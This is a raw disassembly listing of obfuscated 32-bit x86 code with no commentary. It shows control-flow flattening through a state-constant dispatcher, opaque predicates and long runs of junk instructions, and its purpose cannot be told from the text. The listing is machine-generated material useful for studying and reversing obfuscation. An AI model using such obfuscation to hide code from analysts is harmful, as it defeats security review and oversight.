dec ebx
not ebx
bswap esi
dec edx
sbb edi, 0x8e
imul eax
sbb edi, 0xee
imul esi
rcr ebx, 0x86
inc edx
rol eax, 0xf3
imul eax
inc edi
rcr esi, 0x6f
rcl eax, 0xe5
bswap ebx
bswap edi
or edi, 0x85
rcr esi, 0xdf
add eax, 0x75
not ebx
or edx, 0xaf
bswap esi
sbb ebx, 0x73
rcr edi, 0xe6
rol esi, 0xb4
neg esi
add edx, 0x4b
sbb eax, 0xe3
sub ebx, 0x33
sbb edi, 6
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa667c40a
mov edx, ecx
and edx, 0x59983bf4
and ecx, 0x8cfd8c13
or esi, edx
mov edx, eax
and eax, 0x730273ec
and edx, 1
or eax, ecx
xor esi, 0xa667c40a
mov ecx, eax
or edx, esi
xor ecx, 0x730273ec
xor eax, 0x8cfd8c13
mov esi, 0x63cdc599
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne ah
sete ch
cmp dword [0x497380], 0xa
setl cl
setge dl
mov al, cl
and cl, ah
xor al, ch
and ch, dl
or dl, ah
xor dl, 1
or cl, ch
or dl, al
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
mov ch, cl
or cl, dl
xor ch, dl
mov edx, eax
xor cl, 1
xor dl, ah
or ah, al
or cl, ch
xor ah, 1
xor cl, al
or ah, dl
mov edx, 0x147a1018
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x147a1018
jmp 0x411ce1
cmp eax, 0x623555ae
je 0x40ff55
cmp eax, 0x62aa3ab3
je 0x40ff5f
cmp eax, 0x62ab8ed1
jne 0x402780
mov eax, 0xe84b43de
jmp 0x402780
cmp eax, 0x83718bf8
je 0x40ff99
cmp eax, 0x839d3fc2
je 0x40ffa3
cmp eax, 0x83dbe8b2
jne 0x402780
mov eax, 0x3bf725be
jmp 0x402780
cmp eax, 0xfefb2afd
je 0x40ffad
cmp eax, 0xff2ffb73
je 0x410209
cmp eax, 0xff35e07b
jne 0x402780
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc8]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x14f7f0e2
mov esi, eax
and esi, 0xfffffffe
and eax, 0xeb080f1d
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xeb080f1d
mov edi, esi
and edi, 0x14f7f0e2
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x2e9bb2cd
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x497380], 0xa
setl dl
setge ah
or ah, cl
or al, dl
xor ah, 1
xor al, 1
or al, ah
mov ah, dl
xor dl, cl
or ah, cl
xor ah, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
or cl, dl
mov dl, ah
xor cl, 1
xor dl, al
or cl, ah
or ah, al
xor ah, 1
xor cl, al
or ah, dl
mov edx, 0xb96a27f
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xb96a27f
jmp 0x411ce1
cmp eax, 0xc0429464
je 0x410219
cmp eax, 0xc1035922
je 0x410e5b
cmp eax, 0xc17403f6
jne 0x402780
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x168]
cmp ecx, dword [eax + 0x1c]
mov eax, 0xf8529da
mov ecx, 0x1c0d4919
cmove eax, ecx
jmp 0x402780
cmp eax, 0x4996f896
je 0x410e71
cmp eax, 0x49a99c41
je 0x410f67
cmp eax, 0x4a651aa7
jne 0x402780
mov eax, 0xc364b5cd
jmp 0x402780
cmp eax, 0xa644ecc9
je 0x411086
cmp eax, 0xa672e52b
je 0x4110c4
cmp eax, 0xa710b3d6
jne 0x402780
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x4c]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00436b30
add esp, 0xc
or edx, 0x22
rol edi, 0xdc
dec edx
rol eax, 0xbd
inc ebx
mov eax, 0x76
not esi
sbb esi, 0x78
rol ebx, 0x2a
imul ebx
or edi, 0xe0
inc esi
inc edx
bswap ebx
or edx, 0xe6
add ebx, 0x5b
neg edi
rcl eax, 0x31
add eax, 0x2e
inc edx
neg edi
sbb ebx, 0x2c
inc eax
sbb eax, 0xc9
dec esi
or edi, 0x28
sbb edi, 0xbd
inc edi
add edx, 0x14
inc esi
ror ebx, 0xeb
sub ebx, 0x30
or edx, 0x64
dec edi
and edx, 0x97
inc ebx
bswap edx
neg edi
add edi, 0xc7
neg edx
and edi, 0xbc
not ebx
inc edx
rol eax, 0x72
sub ebx, 0x16
and edi, 0x47
not edx
imul edi
dec edi
dec eax
inc edx
add esi, 0xf3
not edx
inc ebx
and edx, 0x2d
rcl ebx, 0x9b
mov ebx, 0xe4
ror ebx, 0x1c
inc eax
not eax
inc edx
rol ebx, 0x1b
dec esi
inc eax
not edi
sub edx, 0x19
or edi, 0xf0
bswap edx
mov edx, 0x33
inc eax
not eax
rcl esi, 0x54
bswap esi
inc edi
neg esi
imul esi
imul eax
not edx
rcr edx, 0x93
imul ebx
and ebx, 0x59
imul eax
and eax, 0xa4
dec esi
add ebx, 0xa
ror esi, 0x78
neg edx
neg edi
neg eax
mov eax, 0
dec eax
inc eax
and edi, 0xe6
rol edi, 0xd6
sub eax, 0xdb
ror eax, 0xbf
dec eax
bswap edx
dec ebx
neg edx
mov edi, 0x62
inc edi
rcl eax, 0xa9
dec ebx
dec esi
rcr ebx, 0x49
dec esi
or edx, 2
add eax, 0xb7
rol eax, 0x90
inc edx
sub esi, 0x27
add esi, 0xc7
rol edx, 0xf0
neg edx
not ebx
rcl esi, 0xb1
imul esi
rcr ebx, 0x82
add edi, 0x11
dec ebx
ror edx, 4
mov edi, 0x61
ror edi, 0xd3
sub ebx, 0x8a
neg edi
rol esi, 0x39
not edx
rol ebx, 0x8a
rol esi, 0x29
ror edx, 0xc6
not eax
rcr edi, 0x48
inc edx
inc edi
neg edx
bswap eax
not esi
imul esi
sub edi, 0xb1
imul esi
rol esi, 0x13
ror edi, 0xdf
imul edx
sub esi, 0x71
sub edx, 4
bswap edi
rcr ebx, 0x76
mov ebx, 0x16
rcr eax, 0x4a
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, 0xfefb2afd
jmp 0x402780
cmp eax, 0x202c7323
je 0x41128c
cmp eax, 0x20a2dafa
je 0x411296
cmp eax, 0x21602eff
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xb6e06e29
and eax, 0x491f91d6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x491f91d6
mov edi, esi
and edi, 0xb6e06e29
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x5abd9612
setne dl
sete ah
cmp dword [0x497380], 0xa
mov edi, dword [ebp - 0x48]
mov ch, dl
mov edi, dword [edi]
setl al
setge cl
inc ch
and ah, cl
and al, dl
or al, ah
mov ah, dl
and ah, ch
xor ah, 1
mov dword [ebp - 0x150], edi
mov dh, ah
or ah, ch
mov edi, dword [ebp - 0x30]
xor dh, ch
not ah
mov ch, cl
or ah, dh
xor ch, dl
xor ah, cl
or cl, dl
mov edx, 0xded98925
not cl
or cl, ch
mov edi, dword [edi]
mov ebx, dword [ebp - 0x20]
not cl
or cl, ah
xor cl, al
and cl, 1
cmovne edx, esi
test cl, al
mov esi, 0xded98925
mov ebx, dword [ebx]
cmovne edx, esi
test cl, cl
cmovne esi, edx
test cl, al
cmove esi, edx
lea ebx, [ebx + ebx*4]
mov edi, dword [edi + ebx*8 + 8]
mov dword [ebp - 0x154], edi
mov edi, dword [ebp - 0x18]
mov edi, dword [edi]
mov dword [ebp - 0xd0], edi
mov edi, dword [ebp - 0x30]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [edi + ebx*8]
mov dword [ebp - 0x158], eax
mov eax, esi
jmp 0x402780
cmp eax, 0xe71b4106
je 0x4112bd
cmp eax, 0xe74a61d1
je 0x4112c7
cmp eax, 0xe7d71c98
jne 0x402780
mov ecx, dword [0x497384]
mov edi, 0x77022028
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x18884010
mov edx, ecx
and edx, 0x80610102
and ecx, 0xe256caef
or esi, edx
mov edx, eax
and edx, 0x6716beed
and eax, 0x1da93510
xor esi, 0x18884010
or eax, ecx
or edx, esi
xor eax, 0x1da93510
mov esi, edx
not esi
and edx, 0xd08b1e0
and esi, 0xf2f74e1f
or edx, esi
mov esi, edx
xor esi, 0x81812040
xor edx, 0x2a1c0e00
and edx, 0x3e7cdeb3
and esi, 0xc183214c
or esi, edx
xor esi, 0xc183214c
or eax, esi
mov esi, 0x9bc95f9f
mov ecx, eax
not ecx
and eax, 0x511c3b9a
and ecx, 0xaee3c465
or eax, ecx
xor eax, 0x511c3b9a
setne ch
sete ah
cmp dword [0x497380], 0xa
mov cl, ch
setge al
setl dl
and ch, dl
and al, ah
xor cl, dl
or dl, ah
or al, ch
xor cl, 1
not al
mov ah, al
or al, dl
xor ah, dl
not al
mov edx, 0x77022028
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
cmove edi, edx
mov eax, edi
jmp 0x402780
cmp eax, 0x74880e70
je 0x4112f3
cmp eax, 0x768ea614
je 0x4112fd
cmp eax, 0x77022028
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xfffffffe
and edx, 0xfffffffe
and eax, ecx
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
mov esi, 0x9bc95f9f
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x497380], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
mov ah, al
and cl, dh
not ah
mov edx, ecx
and ah, cl
not dl
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd7c813ee
cmovne ecx, esi
test al, 1
mov eax, 0xd7c813ee
jmp 0x40f68a
cmp eax, 0x92c712f8
je 0x41143f
cmp eax, 0x92c8ac2b
je 0x411529
cmp eax, 0x95122f16
jne 0x402780
mov eax, dword [ebp - 0xf4]
mov eax, 0xb56f0fd6
jmp 0x402780
cmp eax, 0x10e1e933
je 0x411608
cmp eax, 0x10f902d7
je 0x411626
cmp eax, 0x118abb29
jne 0x402780
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, 0xc1035922
jmp 0x402780
cmp eax, 0xd3deed96
je 0x411633
cmp eax, 0xd460b025
je 0x41163d
cmp eax, 0xd568549d
jne 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xa
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xfeb3d5c0
mov edi, edx
mov esi, ecx
and esi, 0xfb589ea3
and edi, 0x4201c
and edx, 0x427d8322
or edi, esi
mov esi, eax
xor esi, 0x14c2a3f
and esi, eax
and eax, 0xbd827cdd
mov ebx, esi
not ebx
and esi, 0x4a7615c
or eax, edx
or ecx, ebx
and ebx, 0xfb589ea3
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x5d792f25
and esi, 0xa286d0da
or ecx, esi
mov esi, ecx
xor esi, 0x58240001
xor ecx, 0xa3cafae4
mov edx, ecx
and edx, 0x6d99f1e
and esi, 0xf92660e1
or esi, edx
mov edx, eax
xor edx, 0xb90260c1
xor eax, 0x2598302
and eax, 0x6d99f1e
and edx, 0xf92660e1
or edx, eax
xor edx, esi
mov esi, 0xc1e977f1
not edx
or edx, ecx
xor edx, 0xffffffff
sete cl
setne dl
cmp dword [0x497380], 0xa
setl ah
setge ch
mov al, ah
and dl, ch
and al, cl
xor cl, ah
mov ah, cl
or al, dl
xor ah, 1
xor al, 1
mov dl, ah
or al, ch
and dl, cl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
or ah, al
and cl, dl
xor dl, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0x9b2a3169
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x9b2a3169
jmp 0x402777
cmp eax, 0x53f81565
je 0x411647
cmp eax, 0x546aed80
je 0x41190e
cmp eax, 0x554d0294
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0xcbe9c3b5
mov edi, edx
mov esi, ecx
and esi, 0xd82f8411
and edi, 0x2410384a
and edx, 0x718b530c
or edi, esi
mov esi, eax
xor esi, 0x34163c4a
and esi, eax
and eax, 0x8e74acf3
mov ebx, esi
not ebx
and esi, 0x27d07bee
or eax, edx
or ecx, ebx
and ebx, 0xd82f8411
or esi, ebx
not ecx
xor esi, edi
mov edi, 0xea02f0cf
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xd52dbda9
and esi, 0x2ad24256
or ecx, esi
mov esi, ecx
xor ecx, 0x10445a11
xor esi, 0xe13b81e2
mov edx, esi
and edx, 0xceb8248c
and ecx, 0x3147db73
or ecx, edx
mov edx, eax
xor edx, 0x448873
xor eax, 0x718b530c
or esi, eax
and eax, 0xceb8248c
and edx, 0x3147db73
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0xa81c7ad1
and eax, 0x57e3852e
or esi, eax
xor esi, 0xa81c7ad1
mov esi, 0xeba74e30
setne dl
sete al
cmp dword [0x497380], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
and al, ah
or dh, ch
xor al, 1
xor cl, dh
mov ah, al
or al, dl
and cl, dh
xor ah, dl
xor al, 1
or al, ah
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
cmovne esi, edi
test al, 1
mov eax, esi
cmovne eax, edi
test dl, cl
cmove eax, esi
jmp 0x402780
cmp eax, 0xb1c59acd
je 0x411921
cmp eax, 0xb217a054
je 0x411b22
cmp eax, 0xb44be22d
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4181b27e
mov esi, edx
and esi, 0xbe7e4d80
and edx, 0xc4357bd3
or esi, ecx
mov ecx, eax
or ecx, 0x4181b27e
and eax, 0x3bca842c
and ecx, 0x4181b27f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xd2526d5d
mov esi, edx
and esi, 0x2dad92a2
or ecx, esi
mov esi, eax
xor esi, 0x1242040c
xor eax, 0x4251282
and eax, 0x2dad92a2
and esi, 0xd2526d5d
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xb1c59acd
sete cl
setne dl
cmp dword [0x497380], 0xa
setl al
setge ah
xor al, cl
or ah, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x3753593f
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
jmp 0x40dc38
cmp eax, 0x349cd2a2
je 0x411cef
cmp eax, 0x35f1b325
je 0x411df0
cmp eax, 0x3753593f
jne 0x402780
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, 0xb1c59acd
jmp 0x402780
cmp eax, 0xf1735fcc
je 0x411dfa
cmp eax, 0xf371c15d
je 0x411e0f
cmp eax, 0xf5594600
jne 0x402780
mov eax, 0xee5c417
jmp 0x402780
cmp eax, 0x6ba4018d
je 0x411f3c
cmp eax, 0x6beec822
je 0x411f83
cmp eax, 0x6ce62589
jne 0x402780
cmp byte [ebp - 0x8c], 0
mov eax, 0xde524802
mov ecx, 0x97f9418f
cmovne eax, ecx
jmp 0x402780
cmp eax, 0x8afeff63
je 0x411f93
cmp eax, 0x8b369a3a
je 0x411fa6
cmp eax, 0x8c241386
jne 0x402780
mov eax, 0xf6b45a76
jmp 0x402780
cmp eax, 0xabc6202
je 0x4120d0
cmp eax, 0xb96a27f
je 0x4120dd
cmp eax, 0xb9bb37b
jne 0x402780
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x58]
add eax, 2
mov dword [ecx], eax
mov eax, 0x193ef932
jmp 0x402780
cmp eax, 0xc98ad987
je 0x4120e7
cmp eax, 0xc9df20da
je 0x412194
cmp eax, 0xcaccb727
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe40140a
mov esi, ecx
and esi, 0x118a330
mov edi, ecx
or edi, 0xf58170a
and ecx, 0x364d59b9
or edx, esi
and edi, 0x3fdf570a
mov esi, edx
xor esi, 0x319f4300
and edx, 0xa030
and esi, 0x3fdf570a
or edx, esi
mov esi, eax
and esi, 0xc02008c5
and eax, 0xc9b2a646
or esi, edi
or eax, ecx
xor esi, edx
mov edx, esi
not edx
and esi, 0xe33c99d5
and edx, 0x1cc3662a
or esi, edx
mov edx, esi
xor edx, 0xa4442ae2
xor esi, 0x18b5100
and esi, 0x49ab550c
and edx, 0xb654aaf3
or edx, esi
mov esi, edx
xor esi, 0x9600aa90
xor edx, 0x49ab550c
mov ecx, edx
and ecx, 0x68d60563
and esi, 0x9729fa9c
or esi, ecx
mov ecx, eax
xor ecx, 0x8120a204
xor eax, 0x364d59b9
or edx, eax
and eax, 0x68d60563
and ecx, 0x9729fa9c
or ecx, eax
not edx
xor ecx, esi
mov esi, 0xaae0237f
or edx, ecx
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x497380], 0xa
setge al
setl cl
mov ch, al
and al, ah
xor ch, dl
and dl, cl
or cl, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
or dl, al
and ch, cl
mov eax, 0x83718bf8
mov cl, dl
xor cl, ch
test dl, dl
mov edx, 0x83718bf8
cmovne eax, esi
test ch, ch
jmp 0x40e4b6
cmp eax, 0x4ee43c43
je 0x4121a9
cmp eax, 0x4fd2f552
je 0x4121b9
cmp eax, 0x5072edcd
jne 0x402780
mov eax, dword [ebp - 0x108]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x104]
cmp ecx, eax
mov ecx, dword [0x497384]
setl byte [ebp - 0x8d]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2e9265d7
mov esi, edx
and esi, 0xd16d9a28
and edx, 0x352da7bb
or ecx, esi
mov esi, ecx
xor ecx, 0xd1001220
xor esi, 0x24800000
or ecx, 0xa7fe8db
and esi, 0xa5801000
mov edi, ecx
and edi, 0x5a7def3e
or esi, edi
mov edi, eax
xor edi, 0xf5801724
and edi, eax
and eax, 0xcad25844
mov ebx, edi
not ebx
and edi, 0xa58210c1
or eax, edx
or ecx, ebx
and ebx, 0x5a7def3e
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xf5b8fc63
mov esi, ecx
not esi
and ecx, 0xaa929211
and esi, 0x556d6dee
or ecx, esi
mov esi, ecx
xor ecx, 0xa0812040
xor esi, 0x5f128534
mov edx, esi
and edx, 0x4b7edbbf
and ecx, 0xb4812440
or ecx, edx
mov edx, eax
xor edx, 0x80800040
xor eax, 0x352da7bb
or esi, eax
and eax, 0x4b7edbbf
and edx, 0xb4812440
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0x13d5a84f
and eax, 0xec2a57b0
or esi, eax
xor esi, 0x13d5a84f
mov esi, 0xc55d6421
setne dl
sete ah
cmp dword [0x497380], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov al, ch
xor al, dl
test al, 1
cmovne esi, edi
test dl, dl
mov eax, esi
cmovne eax, edi
test ch, ch
cmove eax, esi
jmp 0x402780
cmp eax, 0xaae15ca4
je 0x4122f1
cmp eax, 0xab726906
je 0x4122fb
cmp eax, 0xab83f4f5
jne 0x402780
mov eax, 0xfbec5df3
jmp 0x402780
cmp eax, 0x2bea38c5
je 0x4123bd
cmp eax, 0x2cd40742
je 0x412489
cmp eax, 0x2e9bb2cd
jne 0x402780
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc8]
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, 0xff35e07b
jmp 0x402780
cmp eax, 0xec448627
je 0x41249e
cmp eax, 0xec697333
je 0x41265a
cmp eax, 0xec6ef82c
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x70001004
and eax, 0x83a0a220
mov edx, ecx
or edx, 0x1f4910
and esi, 0x701f5914
and ecx, 0xc4004cb
and edx, 0x701f5914
or ecx, esi
mov esi, 0x6beec822
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xc5f4ddb
and ecx, 0xf3a0b224
or eax, ecx
mov ecx, eax
mov edx, eax
not ecx
xor edx, 0x4530af26
and eax, 0xfffffffe
and edx, 0x4530af27
and ecx, 0xbacf50d8
or ecx, edx
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x497380], 0xa
setl ah
setge dl
xor ah, cl
xor al, dl
mov ch, ah
xor ch, dl
mov edx, eax
and ch, ah
not dl
mov cl, ch
xor cl, 1
and dl, cl
or cl, al
and al, ch
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0x8b369a3a
cmovne edx, esi
test al, al
mov esi, 0x8b369a3a
jmp 0x40d9b2
cmp eax, 0x7dc0d65c
je 0x41269a
cmp eax, 0x7dd75327
je 0x4126b2
cmp eax, 0x7f932d34
jne 0x402780
mov eax, 0x6138c115
jmp 0x402780
cmp eax, 0x9bc95f9f
je 0x4127ce
cmp eax, 0x9cfeba27
je 0x4127d8
cmp eax, 0x9e0c459f
jne 0x402780
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x130]
mov dword [ecx], eax
mov eax, 0x46b2678a
jmp 0x402780
cmp eax, 0x15f16698
je 0x4128c2
cmp eax, 0x182fa035
je 0x4129bb
cmp eax, 0x193ef932
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xf2795f02
and edx, ecx
not ecx
and ecx, 0xf2795f02
or edx, ecx
mov eax, edx
not eax
and edx, 0x939251c0
and eax, 0x6c6dae3f
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0x1410a134
xor esi, 0x61eb0ec2
xor edx, 0xa3d4f183
and edx, esi
and eax, 0x5438ab74
and esi, 0xabc7548b
or esi, eax
mov ecx, esi
mov edi, esi
xor ecx, 0xabc7548b
xor edi, 0x96075435
xor esi, 0x14380950
and edi, ecx
and esi, 0x1f394950
mov eax, edi
not eax
and edi, 0x5d91d1fd
mov ebx, eax
and ebx, 0xa26e2e02
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x5d91d1fd
or eax, ebx
and ebx, 0xa26e2e02
or edx, ebx
not eax
xor edx, edi
mov edi, ecx
and edi, 0xe0c6b6af
and ecx, 1
or eax, edx
or edi, esi
mov edx, eax
not edx
and eax, 0x1fdba949
and edx, 0xe02456b6
or eax, edx
mov edx, edi
xor edx, 0x290901
xor edi, 0x408280ac
or ecx, edx
mov edx, eax
xor edx, 0x81a45400
xor eax, 0x221ba9f6
and edi, 0x5f92c0fc
and ecx, 0xa06d3f03
mov esi, eax
and esi, 0x7e4b2269
and edx, 0x81b4dd96
or ecx, edi
or edx, esi
mov edi, 0x88a9f7fe
mov esi, ecx
xor esi, 0x80241d02
xor ecx, 0x5f92c0fc
or eax, ecx
and ecx, 0x7e4b2269
and esi, 0x81b4dd96
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x8ad9f5fc
and eax, 0x75260a03
or ecx, eax
mov eax, ecx
xor eax, 0xa0825bc
xor ecx, 0x75260a03
mov esi, ecx
and esi, 0xb1f7d840
and eax, 0x4e0827bf
or eax, esi
mov esi, edx
not esi
and edx, 0x4e0827bf
or ecx, esi
and esi, 0xb1f7d840
or edx, esi
not ecx
mov esi, 0x59737dc8
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xca53285a
and eax, 0x35acd7a5
or ecx, eax
mov eax, ecx
xor eax, 0x48112808
xor ecx, 0x588c224
and ecx, 0x87cac276
and eax, 0x78353d89
or eax, ecx
xor eax, 0x78353d89
setne ah
sete ch
cmp dword [0x497380], 0xa
setl dl
setge cl
mov al, dl
and ah, dl
and cl, ch
xor al, ch
or cl, ah
mov dh, al
and al, dl
or dl, ch
xor cl, 1
and dh, ch
xor al, 1
mov ah, dl
xor dh, 1
xor ah, cl
or cl, dl
mov bl, dh
xor cl, 1
xor bl, al
or al, dh
or cl, ah
xor al, 1
or al, bl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x88a9f7fe
jmp 0x408f12
cmp eax, 0xde524802
je 0x412ac0
cmp eax, 0xded98925
je 0x412c3e
cmp eax, 0xe01cb9fd
jne 0x402780
mov eax, 0x92c8ac2b
jmp 0x402780
cmp eax, 0x58efb817
je 0x412c48
cmp eax, 0x59737dc8
je 0x412c6e
cmp eax, 0x5abd9612
jne 0x402780
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, 0x21602eff
jmp 0x402780
cmp eax, 0xb8eb963d
je 0x412def
cmp eax, 0xb9306d59
jne 0x402780
cmp dword [ebp - 0x1a8], 0
mov eax, 0x40d9c54f
mov ecx, 0x3df15948
cmovns eax, ecx
jmp 0x402780
cmp eax, 0x404583c2
je 0x412dfc
cmp eax, 0x40d9c54f
jne 0x402780
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1ac], eax
mov eax, 0xbb12b5c7
jmp 0x402780
cmp eax, 0xfa961aa3
je 0x412e06
cmp eax, 0xfae0e08b
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x8b08111
mov edx, eax
mov edi, eax
or edx, 0x4400a02
and esi, 0xcf08b13
and edi, 0x210d40e8
and eax, 0xb34cb003
or edi, esi
mov esi, ecx
